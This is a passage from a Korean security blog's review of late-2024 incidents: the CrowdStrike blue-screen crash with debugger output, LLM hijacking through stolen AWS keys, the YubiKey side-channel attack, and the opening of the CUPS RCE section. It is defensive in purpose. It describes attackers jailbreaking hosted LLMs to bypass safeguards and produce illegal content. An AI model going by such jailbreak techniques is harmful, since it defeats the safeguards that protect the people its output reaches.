2024 ํ•˜๋ฐ˜๊ธฐ Hot๐Ÿ”ฅ๋ณด์•ˆ ์‚ฌ๊ฑด ์‚ฌ๊ณ 

2024๋…„ ํ•˜๋ฐ˜๊ธฐ ๋ณด์•ˆ ์‚ฌ๊ฑด ์ •๋ฆฌ: CrowdStrike ๋ธ”๋ฃจ์Šคํฌ๋ฆฐ ์‚ฌ๊ณ , LLM Hijacking, YubiKey 5 ์‹œ๋ฆฌ์ฆˆ ์‚ฌ์ด๋“œ์ฑ„๋„ ๊ณต๊ฒฉ, Linux CUPS RCE, GitLab SAML ์ธ์ฆ ์šฐํšŒ, Solana Web3.js ๋ฐฑ๋„์–ด ๋“ฑ ์ฃผ์š” ๋ณด์•ˆ ์ด์Šˆ๋ฅผ ๋ถ„์„ํ•ฉ๋‹ˆ๋‹ค. ์ตœ์‹  ๋ณด์•ˆ ํŠธ๋ Œ๋“œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.
Frontier Squad's avatar
Dec 29, 2024
2024 ํ•˜๋ฐ˜๊ธฐ Hot๐Ÿ”ฅ๋ณด์•ˆ ์‚ฌ๊ฑด ์‚ฌ๊ณ 

๊ฐœ์š”

2024๋…„๋„ ๋งˆ๋ฌด๋ฆฌ๊ฐ€ ๋˜์–ด๊ฐ‘๋‹ˆ๋‹ค. ์ด๋ฒˆ ํฌ์ŠคํŠธ์—์„œ๋Š” Security Assessment ํŒ€์˜ ์—ฐ๊ตฌ์›๋“ค์ด ์„ ์ •ํ•œ ์ฃผ์š” ๋ณด์•ˆ ์‚ฌ๊ฑด/์‚ฌ๊ณ ๋“ค๊ณผ ํ•จ๊ป˜ ์˜ฌํ•ด์˜ ํ•˜๋ฐ˜๊ธฐ๋ฅผ ๋Œ์•„๋ณด๋Š” ์‹œ๊ฐ„์„ ๊ฐ€์ง€๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.


1. CrowdStrike Blue Screen

ํ•œ๊ตญ ์‹œ๊ฐ„ 2024๋…„ 7์›” 19์ผ ์˜คํ›„ 1์‹œ๊ฒฝ, Windows ์šด์˜์ฒด์ œ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” PC์—์„œ ์•„๋ž˜์™€ ๊ฐ™์ด ๋ธ”๋ฃจ ์Šคํฌ๋ฆฐ(Blue Screen of Death, BSoD)์ด ๋‚˜ํƒ€๋‚˜๋ฉฐ ์ „ ์„ธ๊ณ„ ์„œ๋น„์Šค์— ํฐ ์žฅ์• ๊ฐ€ ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค.

๊ณตํ•ญ์—์„œ ๋ฐœ์ƒํ•œ Blue Screen
๊ณตํ•ญ์—์„œ ๋ฐœ์ƒํ•œ Blue Screen

ํ•ด๋‹น ์‚ฌ๊ณ ๋Š” ๋ณด์•ˆ ์†”๋ฃจ์…˜ ํšŒ์‚ฌ CrowdStrike์˜ ๋ณด์•ˆ ์†Œํ”„ํŠธ์›จ์–ด Falcon Sensor์—์„œ ๋ฐœ์ƒํ•œ ์˜ค๋ฅ˜๋กœ ์ธํ•œ ๊ฒƒ์ด์—ˆ์Šต๋‹ˆ๋‹ค. ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•œ Falcon Sensor๋Š” ์‹ค์‹œ๊ฐ„์œผ๋กœ ์—”๋“œํฌ์ธํŠธ ํ™œ๋™์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ณ  ์ž ์žฌ์ ์ธ ์œ„ํ˜‘์„ ํƒ์ง€/๋ถ„์„ํ•˜๋Š” EDR(Endpoint Detection and Response) ๊ธฐ์ˆ ๊ณผ ์•…์„ฑ์ฝ”๋“œ๋ฅผ ํƒ์ง€ํ•˜๋Š” ์•ˆํ‹ฐ ๋ฐ”์ด๋Ÿฌ์Šค ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•˜๋Š” ๋ณด์•ˆ ์†”๋ฃจ์…˜์ž…๋‹ˆ๋‹ค.

2024๋…„ 2์›”, Falcon Sensor๋Š” ์„ผ์„œ๋ฅผ ํ†ตํ•ด ๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜์ง‘ํ•˜๊ณ  ์•…์„ฑ ํ–‰์œ„๋ฅผ ์‹๋ณ„ํ•˜์—ฌ ์•Œ๋ ค์ง€์ง€ ์•Š์€ ์ƒˆ๋กœ์šด ๊ณต๊ฒฉ์„ ํƒ์ง€ํ•˜๊ณ  ์˜ˆ๋ฐฉํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” Rapid Response Content ๊ธฐ๋Šฅ์„ ๊ฐœ๋ฐœํ•˜๊ณ , ๋‚ด๋ถ€ ํ…Œ์ŠคํŠธ๋ฅผ ๊ฑฐ์ณ ๋ฐฐํฌํ–ˆ์Šต๋‹ˆ๋‹ค. ์ถ”๊ฐ€๋กœ, Windows ํ”„๋กœ์„ธ์Šค ๊ฐ„ ํ†ต์‹ (Inter-Process Communication, IPC)์„ ์•…์šฉํ•˜๋Š” ์ƒˆ๋กœ์šด ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์„ ํƒ์ง€ํ•˜๊ธฐ ์œ„ํ•ด Rapid Response Content์— ์ „๋‹ฌํ•  21๊ฐœ์˜ ํ•„๋“œ๋ฅผ ํฌํ•จํ•˜๋Š” ์ƒˆ๋กœ์šด ์œ ํ˜•์˜ ํ…œํ”Œ๋ฆฟ์„ ์ž‘์„ฑํ–ˆ์Šต๋‹ˆ๋‹ค.

์ด๋ฒˆ ๋ธ”๋ฃจ ์Šคํฌ๋ฆฐ ๋ฐœ์ƒ์˜ ์›์ธ์€ ์ด ํ…œํ”Œ๋ฆฟ์— ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. 21๊ฐœ์˜ ํ•„๋“œ๋ฅผ ์ „๋‹ฌํ•ด์•ผ ํ–ˆ์ง€๋งŒ, ์—…๋ฐ์ดํŠธ๋กœ ์ธํ•ด 20๊ฐœ์˜ ํ•„๋“œ๋ฅผ ์ „๋‹ฌํ•˜๊ฒŒ ๋˜๋ฉด์„œ Out-of-Bounds memory read ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜์—ฌ ๋ธ”๋ฃจ ์Šคํฌ๋ฆฐ์ด ๋‚˜ํƒ€๋‚˜๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์—๋Ÿฌ์— ๋Œ€ํ•œ ๋‚ด์šฉ์€ ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค.

1: kd> dp @rax l0n21
ffffae03`5f57f280 ffffae03`5f57f320 ffffae03`5f57f330
ffffae03`5f57f290 ffffae03`5f57f340 ffffae03`5f57f350
ffffae03`5f57f2a0 ffffae03`5f57f360 ffffae03`5f57f370
ffffae03`5f57f2b0 ffffae03`5f57f380 ffffae03`5f57f390
ffffae03`5f57f2c0 ffffae03`5f57f3a0 ffffae03`5f57f3b0
ffffae03`5f57f2d0 ffffae03`5f57f3c0 ffffae03`5f57f3d0
ffffae03`5f57f2e0 ffffae03`5f57f3e0 ffffae03`5f57f3f0
ffffae03`5f57f2f0 ffffae03`5f57f400 ffffae03`5f57f410
ffffae03`5f57f300 ffffae03`5f57f420 ffffae03`5f57f430
ffffae03`5f57f310 ffffae03`5f57f440 ffffae03`5f57f450
ffffae03`5f57f320 ffffd603`0000006a
1: kd> !pte ffffd603`0000006a
 VA ffffd6030000006a
PXE at FFFFFE7F3F9FCD60 PPE at FFFFFE7F3F9AC060 PDE at FFFFFE7F3580C000
PTE at FFFFFE6B01800000
contains 0A00000107A00863 contains 0000000000000000
pfn 107a00 ---DA--KWEV contains 0000000000000000
not valid

20๋ฒˆ์งธ ์ธ๋ฑ์Šค๊นŒ์ง€๋Š” ์ •์ƒ์ ์ธ ๊ฐ’์ด ๋“ค์–ด๊ฐ€์ง€๋งŒ, 21๋ฒˆ์งธ ์ธ๋ฑ์Šค์—๋Š” ์œ ํšจํ•˜์ง€ ์•Š์€ ์ฃผ์†Œ๊ฐ€ ๋“ค์–ด๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์œ ํšจํ•˜์ง€ ์•Š์€ ์ฃผ์†Œ ์ ‘๊ทผ ์‹œ๋„์— ๋”ฐ๋ผ CPU์—์„œ ์—‘์„ธ์Šค ์œ„๋ฐ˜ ์˜ˆ์™ธ๊ฐ€ ๋ฐœ์ƒํ•˜๊ณ , ๊ทธ ๊ฒฐ๊ณผ๋กœ ๋ธ”๋ฃจ ์Šคํฌ๋ฆฐ์ด ๋ฐœ์ƒํ–ˆ์Šต๋‹ˆ๋‹ค.

๋‹คํ–‰ํžˆ ํ•ด๋‹น ์—๋Ÿฌ๊ฐ€ ์ง์ ‘์ ์ธ ์›์ธ์ด ๋˜์–ด ์ถ”๊ฐ€์ ์ธ ๋ณด์•ˆ ์œ„ํ˜‘์ด ๋ฐœ์ƒํ•˜์ง€๋Š” ์•Š์•˜์ง€๋งŒ, ์ด ์‚ฌ๊ฑด์„ ๊ณ„๊ธฐ๋กœ ์ƒ๊ธด ํŒจ์น˜๋ฅผ ์ฐพ๋˜ ํ”ผํ•ด์ž๋“ค์„ ๋Œ€์ƒ์œผ๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ๊ฐ€์งœ ํŒจ์น˜ ํŒŒ์ผ์„ ๋ฐฐํฌํ•˜๋Š” ์ผ์ด ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. CrowdStrike๋Š” ์•„๋ž˜ ๋งํฌ์˜ ๋ธ”๋กœ๊ทธ ํฌ์ŠคํŠธ๋ฅผ ํ†ตํ•ด ์•…์„ฑ์ฝ”๋“œ ๋ฐฐํฌ๋ฅผ ์œ„ํ•ด CrowdStrike์™€ ์œ ์‚ฌํ•œ ๋„๋ฉ”์ธ์„ ์•…์šฉํ•œ ์‚ฌ๋ก€๋ฅผ ์–ธ๊ธ‰ํ•˜๋ฉฐ, ๊ณต์‹ ์ฑ„๋„์„ ํ†ตํ•ด ๋‹ด๋‹น์ž์™€ ์†Œํ†ตํ•˜์—ฌ ๊ธฐ์ˆ  ์ง€์›์„ ๋ฐ›์•„์•ผ ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ๋ ธ์Šต๋‹ˆ๋‹ค.

์ด๋ฒˆ ์‚ฌ๊ฑด์€ ์†Œํ”„ํŠธ์›จ์–ด ๊ฐœ๋ฐœ ๋ฐ ์ฝ”๋“œ ๊ฒ€์ˆ˜๋ฅผ ํ†ตํ•œ ํŒจ์น˜ ์ฝ”๋“œ ์ œ์•ˆ ์‹œ ์ถ”๊ฐ€์ ์ธ ๋ฒ„๊ทธ์˜ ๋ฐœ์ƒ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์ฒ ์ €ํ•œ ํฌ๋กœ์Šค ์ฒดํฌ๊ฐ€ ์ค‘์š”ํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์•Œ๋ ค์ฃผ๋Š” ์‚ฌ๋ก€์ž…๋‹ˆ๋‹ค. ์•ž์„  ๊ฐœ๋ฐœ ์‚ฌ์ด๋“œ ์ดํŽ™ํŠธ๋กœ ๋ฐœ์ƒํ•œ ๋ณด์•ˆ ์œ„ํ˜‘ ์‚ฌ๋ก€์—์„œ๋„ ์‚ดํŽด๋ณด์•˜๋“ฏ์ด, ์ƒˆ๋กœ์šด ๊ธฐ๋Šฅ์˜ ์ถ”๊ฐ€๋Š” ์ž ์žฌ์ ์ธ ๋ณด์•ˆ ์œ„ํ˜‘์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ณด์•ˆ ์†”๋ฃจ์…˜ ์—…์ฒด๋“ค์€ ํ•ญ์ƒ ์ด ๋ถ€๋ถ„์„ ์ƒ๊ฐํ•˜๋ฉฐ, ๋ณด๋‹ค ์•ˆ์ „ํ•œ ์„œ๋น„์Šค๋ฅผ ์ œ๊ณตํ•˜๊ธฐ ์œ„ํ•ด ๋…ธ๋ ฅํ•ด์•ผ ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Reference


2. GEN AI Infrastructures Attack, LLM Hijacking

์ตœ๊ทผ ๋Œ€๊ทœ๋ชจ ์–ธ์–ด ๋ชจ๋ธ(LLM)๋กœ ๋Œ€ํ‘œ๋˜๋Š” ์ƒ์„ฑํ˜• AI ์ธํ”„๋ผ ์‚ฌ์šฉ์„ ์œ„ํ•œ ํด๋ผ์šฐ๋“œ ์„œ๋น„์Šค๋ฅผ ๋Œ€์ƒ์œผ๋กœ ์ƒˆ๋กœ์šด ๊ณต๊ฒฉ LLM Hijacking์ด ๋“ฑ์žฅํ–ˆ์Šต๋‹ˆ๋‹ค. ๋งŽ์€ ํ”ผํ•ด ์‚ฌ๋ก€๋ฅผ ๋งŒ๋“ค์–ด๋‚ด๊ณ  ์žˆ๋Š” ํ•ด๋‹น ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์€ LLM ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํ˜ธ์ŠคํŒ… ์„œ๋น„์Šค(์˜ˆ: AWS Bedrock)๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ํ”ผํ•ด์ž๋“ค์„ ๋Œ€์ƒ์œผ๋กœ ํ•˜๋ฉฐ, ํด๋ผ์šฐ๋“œ ์„œ๋น„์Šค์—์„œ ๋ฐœ์ƒํ•˜๋Š” ๊ธฐ์กด์˜ ์œ„ํ˜‘๋“ค๊ณผ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ, ์ฃผ๋กœ access key ๋ฐ ํฌ๋ฆฌ๋ด์…œ ๋…ธ์ถœ๋กœ๋ถ€ํ„ฐ ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๋“ค์€ LLM Hijacking์„ ํ†ตํ•ด ํ”ผํ•ด์ž๋“ค์˜ LLM ์„œ๋น„์Šค ๋น„์šฉ์œผ๋กœ ์ž์‹ ๋“ค์ด ํ˜ธ์ŠคํŒ…ํ•˜๋Š” AI ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์šด์˜ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋“ค์€ ์ด๋ฅผ ํ†ตํ•ด ์„ฑ์ธ ์ „์šฉ ์ฑ„ํŒ…๋ด‡ ๋ฐ ์•„๋™ ๋Œ€์ƒ ๋ถˆ๋ฒ• ์„ฑ ๊ด€๋ จ ์ฝ˜ํ…์ธ ๋ฅผ ์ œ๊ณตํ•˜๊ณ , ๋‹ค์–‘ํ•œ LLM Jailbreak ๊ธฐ๋ฒ•์„ ํ†ตํ•ด ์ฝ˜ํ…์ธ  ํ•„ํ„ฐ๋ง์„ ์šฐํšŒํ•˜์—ฌ ๋ถˆ๋ฒ•์ ์ธ ์ˆ˜์ต์„ ์ฐฝ์ถœํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

Bedrock Hijacking
Bedrock Hijacking

2024๋…„ 8์›” Permiso๊ฐ€ ๋ธ”๋กœ๊ทธ๋ฅผ ํ†ตํ•ด ๊ณต๊ฐœํ•œ ๋‚ด์šฉ์— ๋”ฐ๋ฅด๋ฉด, ๊ณต๊ฒฉ์ž๋“ค์€ AWS access key๋ฅผ ํš๋“ํ•œ ๋’ค ๊ธฐ์กด ์„œ๋น„์Šค[์˜ˆ: Simple Email Service(SES), Elastic Compute(EC2)]๋ฅผ ์•…์šฉํ•˜๋˜ ์ง€๋‚œ ๋ช‡ ๋…„๊ณผ ๋‹ฌ๋ฆฌ, Bedrock์„ ์•…์šฉํ•˜์—ฌ ๋” ํฐ ์ˆ˜์ต์„ ์ฐฝ์ถœํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. LLM ์„œ๋น„์Šค ๋น„์šฉ ์ฆ๊ฐ€ ๋ฐ ์„ฑ์ธ์šฉ ๋กคํ”Œ๋ ˆ์ž‰ AI ์ฑ—๋ด‡ ์„œ๋น„์Šค์— ๋Œ€ํ•œ ์ˆ˜์š” ์ฆ๊ฐ€๋กœ ์ธํ•ด LLM ์„œ๋น„์Šค ์•…์šฉ์ด ๊ณต๊ฒฉ์ž๋“ค์˜ ๋” ํฐ ์ˆ˜์ต ๋ชจ๋ธ๋กœ ์ž๋ฆฌ์žก๊ฒŒ ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

Permiso ํŒ€์€ ํ—ˆ๋‹ˆํŒŸ์„ ํ†ตํ•ด ๋กœ๊ทธ๋ฅผ ํ™•์ธ ๋ฐ ๋ถ„์„ํ•˜๋Š” ๊ณผ์ •์—์„œ, ๊ณต๊ฒฉ์ž๋“ค์ด ๊ธฐ์กด LLM ๋ณดํ˜ธ ๊ธฐ๋ฒ•(safeguard)์„ ๋ฒ—์–ด๋‚˜ ์ž์œ ๋กญ๊ฒŒ ๋ถˆ๋ฒ•์ ์ธ ์ฝ˜ํ…์ธ ๋ฅผ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์–‘ํ•œ Prompt Injection ๋ฐ ๋ชจ๋ธ Jailbreak๋ฅผ ์‹œ๋„ํ•˜๊ณ , ๊ทธ๋ฅผ ํ†ตํ•ด ์„ฑ๊ณต์ ์œผ๋กœ ์„œ๋น„์Šค๋ฅผ ์ œ๊ณตํ•˜๋Š” ๊ฒƒ์„ ์ถ”๊ฐ€๋กœ ํ™•์ธํ•˜์˜€์Šต๋‹ˆ๋‹ค. ์ด์— ๋Œ€ํ•œ ๊ตฌ์ฒด์ ์ธ ๋‚ด์šฉ์€ Permiso ๋ธ”๋กœ๊ทธ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น ์‚ฌ๋ก€๋Š” ๋‹ค์–‘ํ•˜๊ฒŒ ๊ด€์ฐฐ๋˜๊ณ  ์žˆ์–ด, 12์›”์— ์˜ฌ๋ผ์˜จ Wiz ๋ธ”๋กœ๊ทธ ํฌ์ŠคํŠธ๋ฅผ ํ†ตํ•ด Wiz ํŒ€์ด ๋ฐœ๊ฒฌํ•œ ์œ ์‚ฌ ๊ณต๊ฒฉ ์‚ฌ๋ก€(JINX-2401 campaign) ์—ญ์‹œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

LLM Hijacking์€ ์ƒ์„ฑํ˜• AI ๋ฐ LLM๊ณผ ๊ด€๋ จ๋œ ์ƒˆ๋กœ์šด ๊ณต๊ฒฉ ๊ธฐ๋ฒ•๋“ค์„ ํ™œ์šฉํ•˜์ง€๋งŒ, ๊ทผ๋ณธ์ ์ธ ๋ฐœ์ƒ ์›์ธ์€ AWS ์„œ๋น„์Šค๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•˜๋Š” ๊ธฐ์กด ๊ณต๊ฒฉ๋“ค๊ณผ ๋™์ผํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ, ๋ฌธ์ œ ๋ฐฉ์ง€๋ฅผ ์œ„ํ•ด ํด๋ผ์šฐ๋“œ ์„œ๋น„์Šค ์‚ฌ์šฉ ์‹œ ๊ธฐ๋ณธ์ ์œผ๋กœ IAM ์ •์ฑ…์— ์ตœ์†Œ ๊ถŒํ•œ ์›์น™์„ ์ ์šฉํ•˜๊ณ , ๋ณด์•ˆ ๋ชจ๋‹ˆํ„ฐ๋ง์„ ๊ฐ•ํ™”ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ, ๋™์ผํ•œ access key ๋ฐ secret์˜ ์žฅ๊ธฐ์ ์ธ ์‚ฌ์šฉ์„ ์ง€์–‘ํ•˜๊ณ , Identity Federation ๋ฐ Multi-Factor Authentication(MFA)๋ฅผ ๊ฐ•์ œํ•˜๋Š” ๊ธฐ๋ณธ ๋ณด์•ˆ ์ •์ฑ…์„ ๋„์ž…ํ•  ํ•„์š”๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งˆ์ง€๋ง‰์œผ๋กœ, LLM ์„œ๋น„์Šค ์‚ฌ์šฉ ์—ฌ๋ถ€์— ๋”ฐ๋ผ Service Control Policies(SCPs) ์„ค์ •์„ ํ†ตํ•ด Bedrock ์„œ๋น„์Šค ์ ‘๊ทผ ๋ฐ ์‚ฌ์šฉ์„ ์ตœ์†Œํ™” ๋˜๋Š” ์ œํ•œํ•˜๋Š” ๊ฒƒ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

GEN AI ๋ฐ LLM ์„œ๋น„์Šค์˜ ๊ธ‰๊ฒฉํ•œ ์„ฑ์žฅ์— ๋”ฐ๋ผ ์•ž์œผ๋กœ ๋” ๋งŽ์€ ๊ณต๊ฒฉ ๋ฒกํ„ฐ๊ฐ€ ๋“ฑ์žฅํ•˜๊ฒŒ ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋ฅผ ๋Œ€๋น„ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š”, ๊ณต๊ฒฉ์ž๋ณด๋‹ค ์•ž์„œ ๊ทธ๋“ค์˜ ๋‹ˆ์ฆˆ๋ฅผ ํŒŒ์•…ํ•˜๊ณ  ๊ธฐ์ˆ ์ ์ธ ํ•ด๊ฒฐ์ฑ…์„ ์ง€์†์ ์œผ๋กœ ๊ฐœ๋ฐœ ๋ฐ ๋„์ž…ํ•ด์•ผ ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Reference


3. Side-Channel Attack on the YubiKey 5 Series

NinjaLab์€ 2024๋…„ 9์›” Infineon Technologies์˜ ๋งˆ์ดํฌ๋กœ์ปจํŠธ๋กค๋Ÿฌ์—์„œ ๋ฐœ๊ฒฌ๋œ ์ทจ์•ฝ์ ์„ ๋‹ค๋ฃฌ ์—ฐ๊ตฌ๋ฅผ ๊ณต๊ฐœํ–ˆ์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น ์ทจ์•ฝ์ ์€ YubiKey๋กœ ๋Œ€ํ‘œ๋˜๋Š” Infineon์˜ ๋งˆ์ดํฌ๋กœ์ปจํŠธ๋กค๋Ÿฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋ณด์•ˆ ์žฅ์น˜์— ์˜ํ–ฅ์„ ๋ฏธ์นฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ECDSA ์„œ๋ช… ์•Œ๊ณ ๋ฆฌ์ฆ˜์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์—ฌ, Side-Channel ๊ณต๊ฒฉ์„ ํ†ตํ•ด ์ „์ž๊ธฐ ๋ฐฉ์‚ฌ ์‹ ํ˜ธ๋ฅผ ๋ถ„์„ํ•จ์œผ๋กœ์จ ๋น„๋ฐ€ํ‚ค๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์€ ์ „๊ธฐ ์‹ ํ˜ธ ๋ณ€ํ™”๋ฅผ ๋ณผ ์ˆ˜ ์žˆ๋Š” ์žฅ์น˜(์˜ˆ: ์˜ค์‹ค๋กœ์Šค์ฝ”ํ”„)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ YubiKey์— ์—ฌ๋Ÿฌ ๋ฒˆ ์„œ๋ช… ์š”์ฒญ์„ ๋งŒ๋“œ๋Š” ๊ณผ์ •์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜์ง‘ํ•˜๊ณ , ์ˆ˜์ง‘ํ•œ ๋ฐ์ดํ„ฐ์˜ ์ฐจ์ด ๋ฐ ํŒจํ„ด์„ ํ™œ์šฉํ•˜์—ฌ ๋น„๋ฐ€ํ‚ค๋ฅผ ์ถ”์ถœํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค.

Side-Channel ๊ณต๊ฒฉ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋งŒ๋“  ์ทจ์•ฝ์ ์˜ ๊ทผ๋ณธ ์›์ธ์€ ECDSA ์„œ๋ช… ๊ณผ์ •์—์„œ ์‚ฌ์šฉ๋˜๋Š” ๋ชจ๋“ˆ๋Ÿฌ ์—ญ์ˆ˜ ๊ณ„์‚ฐ์ด ์ƒ์ˆ˜ ์‹œ๊ฐ„(Constant-Time) ๋ฐฉ์‹์œผ๋กœ ๊ตฌํ˜„๋˜์ง€ ์•Š์•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด ๊ณ„์‚ฐ ์‹œ๊ฐ„์˜ ๋ณ€๋™์ด ์™ธ๋ถ€๋กœ ๋…ธ์ถœ๋˜๊ณ , ๊ณต๊ฒฉ์ž๋Š” ์‹ ํ˜ธ๋ฅผ ํ†ตํ•ด ์žฅ์น˜์˜ ๋‚ด๋ถ€ ์ƒํƒœ๋ฅผ ์œ ์ถ”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ๊ณต๊ฒฉ์„ ์œ„ํ•ด์„œ๋Š” ์žฅ์น˜์— ๋ฌผ๋ฆฌ์ ์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•˜๋ฉฐ, ๊ณ ๊ฐ€์˜ ์ „๋ฌธ ์žฅ๋น„๊ฐ€ ํ•„์š”ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ๊ตญ๊ฐ€ ์ง€์› ๊ณต๊ฒฉ(State-sponsored cyberattack) ์ˆ˜์ค€์˜ ๊ณ ๋„ํ™”๋œ ์œ„ํ˜‘ ์‹œ๋‚˜๋ฆฌ์˜ค๊ฐ€ ์•„๋‹ˆ๋ผ๋ฉด ํ˜„์‹ค์ ์œผ๋กœ ๊ณต๊ฒฉ์ด ๋ฐœ์ƒํ•  ๊ฐ€๋Šฅ์„ฑ์€ ๋†’์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

ํ•ด๋‹น ์—ฐ๊ตฌ๋Š” ์—ฐ๊ตฌ ๊ณผ์ •์—์„œ ECDSA ์„œ๋ช… ์•Œ๊ณ ๋ฆฌ์ฆ˜์˜ ๋™์ž‘์„ ์ •๋ฐ€ํ•˜๊ฒŒ ๋ถ„์„ํ•˜๊ณ , ๋ชจ๋“ˆ๋Ÿฌ ์—ญ์ˆ˜ ์—ฐ์‚ฐ์˜ ๋น„์ƒ์ˆ˜ ์‹œ๊ฐ„์  ํŠน์„ฑ์„ ํ™œ์šฉํ•œ ๊ณต๊ฒฉ ๊ฐ€๋Šฅ์„ฑ์„ ์ž…์ฆํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” Side-Channel ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ๊นŠ์ด ์žˆ๋Š” ๋ถ„์„์„ ํ†ตํ•ด ๋ณต์žกํ•œ ๋ณด์•ˆ ์•„ํ‚คํ…์ฒ˜์—์„œ๋„ ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์Œ์„ ๋ณด์—ฌ์ค€ ๋ฉ‹์ง„ ์„ฑ๊ณผ์ž…๋‹ˆ๋‹ค.

Reference


4. Linux CUPS RCE

2024๋…„ 9์›” 26์ผ, ๋ณด์•ˆ ์—ฐ๊ตฌ์› Simone Margaritelli๋Š” ๋ฆฌ๋ˆ…์Šค ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ์˜ CUPS(Common UNIX Printing System)์—์„œ ๋ฐœ์ƒํ•˜๋Š” 4๊ฐœ์˜ ์ทจ์•ฝ์ ์„ ๊ณต๊ฐœํ•˜์˜€์Šต๋‹ˆ๋‹ค. Chaining์„ ํ†ตํ•ด ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰(Remote Code Execution)๊นŒ์ง€ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๋Š” ์ด ์ทจ์•ฝ์ ๋“ค์€ ๊ฐ๊ฐ cups-browsed(CVE-2024โ€“47176), ibcupsfilters(CVE-2024โ€“47076), libppd(CVE-2024โ€“47175), cups-filters(CVE-2024โ€“47177) ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์—์„œ ๋ฐœ์ƒํ•˜์˜€์Šต๋‹ˆ๋‹ค. ์ทจ์•ฝ์ ์˜ ์ฃผ์š” ์›์ธ์€ ๋„คํŠธ์›Œํฌ ์ธํ„ฐํŽ˜์ด์Šค์—์„œ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๊ณ , ์ž…๋ ฅ ๋ฐ์ดํ„ฐ๋ฅผ ์ œ๋Œ€๋กœ ๊ฒ€์ฆํ•˜์ง€ ์•Š์€ ๋ถ€๋ถ„์— ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

